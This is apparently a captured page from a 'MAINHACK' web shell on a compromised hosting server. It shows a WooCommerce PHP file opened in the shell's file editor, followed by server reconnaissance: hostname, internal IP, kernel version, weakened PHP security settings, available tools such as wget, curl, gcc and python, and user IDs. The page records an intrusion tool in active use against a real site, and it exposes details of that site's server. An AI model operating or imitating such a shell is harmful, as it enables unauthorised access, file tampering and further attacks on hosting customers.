[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-wc-queue.php
<?php /** * WC Queue * * @version 3.5.0 * @package WooCommerce/Interface */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * WC Queue * * Singleton for managing the WC queue instance. * * @version 3.5.0 */ class WC_Queue { /** * The single instance of the queue. * * @var WC_Queue_Interface|null */ protected static $instance = null; /** * The default queue class to initialize * * @var string */ protected static $default_cass = 'WC_Action_Queue'; /** * Single instance of WC_Queue_Interface * * @return WC_Queue_Interface */ final public static function instance() { if ( is_null( self::$instance ) ) { $class = self::get_class(); self::$instance = new $class(); self::$instance = self::validate_instance( self::$instance ); } return self::$instance; } /** * Get class to instantiate * * And make sure 3rd party code has the chance to attach a custom queue class. * * @return string */ protected static function get_class() { if ( ! did_action( 'plugins_loaded' ) ) { wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before plugins_loaded.', 'woocommerce' ), '3.5.0' ); } return apply_filters( 'woocommerce_queue_class', self::$default_cass ); } /** * Enforce a WC_Queue_Interface * * @param WC_Queue_Interface $instance Instance class. * @return WC_Queue_Interface */ protected static function validate_instance( $instance ) { if ( false === ( $instance instanceof WC_Queue_Interface ) ) { $default_class = self::$default_cass; /* translators: %s: Default class name */ wc_doing_it_wrong( __FUNCTION__, sprintf( __( 'The class attached to the "woocommerce_queue_class" does not implement the WC_Queue_Interface interface. The default %s class will be used instead.', 'woocommerce' ), $default_class ), '3.5.0' ); $instance = new $default_class(); } return $instance; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619